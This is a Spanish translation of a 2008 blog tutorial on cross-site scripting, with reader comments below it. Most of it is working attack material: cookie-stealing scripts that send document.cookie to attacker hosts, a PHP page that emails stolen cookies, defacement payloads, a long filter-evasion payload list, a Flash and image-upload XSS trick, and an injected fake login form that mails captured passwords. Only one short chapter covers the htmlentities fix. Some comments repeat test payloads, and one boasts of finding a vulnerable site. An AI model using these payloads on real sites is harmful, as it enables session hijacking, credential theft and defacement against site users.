Cross Site Scripting: Guía de defensa y ataque.
Autor: Xylitol.
Descripción: guía simple de los métodos para XSS.
Página web: http://xylitol.free.fr
Contacto: xylitol[en]fbi[punto]com
Fecha: 10/02/08
Indice:
- Qué es XSS.
- Programar una vulnerabilidad XSS.
- Programar un registrador de cookies.
- Securizando un XSS.
- Métodos para hacer un deface.
- Paso de filtrado.
- Ataque rápido.
- Subir el XSS.
- Phising con XSS.
Capítulo 1. Qué es XSS (de wikipedia, la enciclopedia gratis).
Cross Site Scripting es un fallo de seguridad que puede ser explotado desde el explorador web que uses. Este ataque permite contenido (scripts) en zonas sin privilegio, con permisos de zonas de privilegios – con subida de privilegios – dentro del navegador que ejecuta el script. La vulnerabilidad puede ser:
- Un bug que permite contenido (scripts) bajo ciertas condiciones, que pueden ser ejecutadas con permisos de privilegio mayores de una zona más “peligrosa”.
- Un error de configuración: sitios que no están a salvo listados en sitios que sí lo están.
- Una vulnerabilidad de XSS en una zona privilegiada.
Un ataque normalmente consta de dos pasos. El primer paso consiste en hacer funcionar el XSS para que ejecute código de la zona privilegiada. Para completar el ataque, se inyectan componentes maliciosos de ActiveX.
Este tipo de vulnerabilidad es explotada para instalar de forma “silenciosa” malware (spyware, software de control remoto, gusanos, etc) en las máquinas cliente que visitan la página web.
Capítulo 2. Programar una vulnerabilidad XSS.
Abre el bloc de notas y pega el siguiente código en él:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
Salva esta página como index.html. Luego haz la misma operación y copias esto:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>
Salva esta página con el nombre XSS.php. Cierra el bloc de notas.
Abre index.html en el Firefox. Mete un valor y dale a buscar.
Ahora, abre la página de nuevo e introduce
<script>alert('XSS')</script>
Envía la búsqueda. ¡Bingo, una ventana de diálogo!
/ http://127.0.0.1 dit: X |________________________________________| | | | | | ^ | | / | | / | XSS | | / . | | ------- | | ______ | | | OK | | | ------ | |________________________________________|
XSS Vulnerability is here...
Capítulo 3. Recolector de cookie.
Mete este script en una página vulnerable (como un libro de visitas)
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = tu página)
Abre el bloc de notas, copia est código y guárdalo como cookie.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli
', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body></html>
Suficiente para robarla, ahora a esperar el e-mail para tener la cookie.
Capítulo 4. Securizando el XSS.
Para arreglar el XSS usa las entidades HTML. En la línea 16 cámbia:
<body> <span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
Por esto:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
Usa htmlspecialchars() en PHP.
Capítulo 5. Cómo hacer el deface.
Hacer un deface con XSS es algo realmente simple. Aquí tenemos algunos ejemplos:
Deface con imagen:
<IMG src="http://hax0r.com/Haxored.png">
Deface con vídeo o flash:
<EMBED src="http://hax0r.com/Haxored.swf"Más conocido:
<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>Y también:
<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
Capítulo 6. Evitar los filtros.
Normalmente no es fácil evitar los filtros de htmlspecialchars(). Aquí tenéis un ejemplo de cómo hacerlo:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">
window.alert("Xyli !");
"/></a></><img src=1.gif onerror=alert(1)>
[color=red' onmouseover="alert('xss')"]mouse over[/color]
<body onLoad="alert('XSS');"
<body onunload="javascript:alert('XSS');">
[url=javascript:alert('XSS');]click me[/url]
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG src=javascript:alert(String.fromCharCode(88,83,83))>
<IMG src=\"jav
ascript:alert('XSS');\">
<IMG src=\"jav
ascript:alert('XSS');\">
<IMG src=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG src=\"jav
ascript:alert('XSS');\">
<IMG src=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@import'javascript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
Claro que hay otros, Google es tu amigo.
Capítulo 7. Ataque flash.
El flash se usa para animaciones complejas, animaciones, juegos. Lo que nos interesa de todo esto es la función getURL(). Esta función permite redirigir al usuario final de una página a otra. La sintaxis es la siguiente:
getURL(url:String, [window: String,[method:String]])
Y aquí tenéis un ejemplo:
getURL("http://victime.com/login.php?logout=true","_self");
url: indica la URL del sitio.
window: especifica entre qué frameworks debe estar la petición (_self, _blank…)
método: método para hacer la petición GET o POST (GET por defecto).
Aquí el manejo del actionscript y del Javascript para postear una alerta:
getURL("javascript:alert('XSS'");
En el 2002 se podía postear la cookie de alguien de la siguiente forma:
getURL("javascript:alert(document.cookie)")
En diciembre del 2005, una nueva alternativa apareció que tenía la posibilidad de colocar on flash en su firma para obtener un XSS permanente. ¿Cómo robar una cookie en flash? Nada para hacerlo como esto:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
y en haxored.js:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
Para arreglarlo es fácil, no metas ficheros en flash en tu aplicación web.
Capítulo 8. Subir el XSS.
En paint, crea un archivo con el nombre Haxored.gif por ejemplo. Luego, ábrelo en el bloc de nota, borra todas las líneas e inserta lo siguiente:
GIF89a<script>alert("XSS")</script>
Sálvalo y ciérralo. Sube Haxored.gif a cualquier hosting de imágenes gratuito y listo, tu XSS está disponible. No uses firefox, si acaso mozilla o internet explorer para ver tu imagen.
¿Por qué añadir GIF89a? Bien, algunas herramientas de upload revisan si tienen la cabecera estos caracteres en las imágenes GIF. La vulnerabilidad consiste en revisar nada más que el código que hemos mencionado, y no todo el “contenido” real del archivo de la imagen:
GIF89a<script src="http://hax0r.com/cookiegrabber.php">)
Para saber el código de otro formato de imagen, lo único que tenéis que hacer es abrir una imagen con el bloc de notas (o cualquier otro editor. Por ejemplo para los PNG es %PNG.
PNG = ‰PNG GIF = GIF89a JPG = ÿØÿà JFIF BMP = BMFÖ
Para securizar esto, no revises únicamente con getimagesize().
Capítulo 9. Phising con XSS.
¿Comprendiste el objetivo del phising? ¿Y del XSS? En nuestro ejemplo, sería necesario encontrar un host vulnerable e inyectar código en la URL:
<p>Enter your login and password, thank:</p> <form action="http://hax0r.com/mail.php"> <table><tr><td>Login:</td><td><input type=text length=20 name=login> </td></tr><tr><td>Password:</td><td> <input type=text length=20 name=password> </td></tr></table><input type=submit value= OK > </form>
Tendrás que adivinar el script que simulará una forma de conexión y enviar el valor en el ejemplo de mail.php enviando este mail:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli
", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body></html>
El usuario deberá creer que hay algo de sobrecarga y no ocurre nada sospechoso. ¿Entendiste todo?
(N. del traductor: Dejo esto igual, ya que son los greets del autor del artículo)
/ / \ \ ______/ /______________________________________\ \______ | / / \ \ | | / /.: Xylitol respects and hello's fly out :.\ \ | |___/ /____________________________________________\ \___| / / \ \ /___/ \___\ nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke and all hardworking sceners in the scene ! _________________________________ | | | .: Xylitol thanks this sites :. | |_________________________________| http://www.googlebig.com/ http://xssed.com/ http://www.xssing.com/ http://www.milw0rm.com/ http://H4cky0u.org/ If you want to contact me for any stupid reason, drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov ____
____
\ \
\ \_____________________________________________________________________________
\ \ |
\ \ Cross Site Scripting - Attack and Defense guide |
\ \__________________________________________________________________________|
\ \
\___\ By Xylitol 10-02-08
Fuente original del artículo aquí. Traducido por Jacob F.P
La información aquí expuesta es para uso educativo y demostrativo únicamente. El traductor no se hace responsable del uso que se le pueda dar a la misma, desvinculándose complétamente de cualquier responsabilidad.
Just wanted to say hi, thanks and bye
‘ /> ” /> KAKKAKA
alert(jiji)
alert(Hacked By HackSkyline)
alert(Esta Web Es Vulnerable a XSS)
self.location=’http://hackingparatodos.mforos.com’;
Por qué todo el mundo intenta xssear a este blog, justo donde ponen que cómo atacar XSS? seguro que serán buenos defendiéndose, o es que no pensais un poco?

xDDDD
Algo chungo hay por ahí que ha juntao cosas de más
paso de enredar más… xD
miremos esta página!
http://ha.ckers.org/xss.html
millonadas de vectores de ataque
Me gusto mucho el tutorial! muy bueno te felicito… justo encontre una web vulnerable y esto me cae como anillo al dedo ..
love and peace
¡@b@jo lo§ L@mmEr§!
[...] Fuente: http://mentesdelitio.es/2008/02/23/cross-site-scripting-xss-guia-de-defensa-y-ataque/ [...]
alert(‘hola’);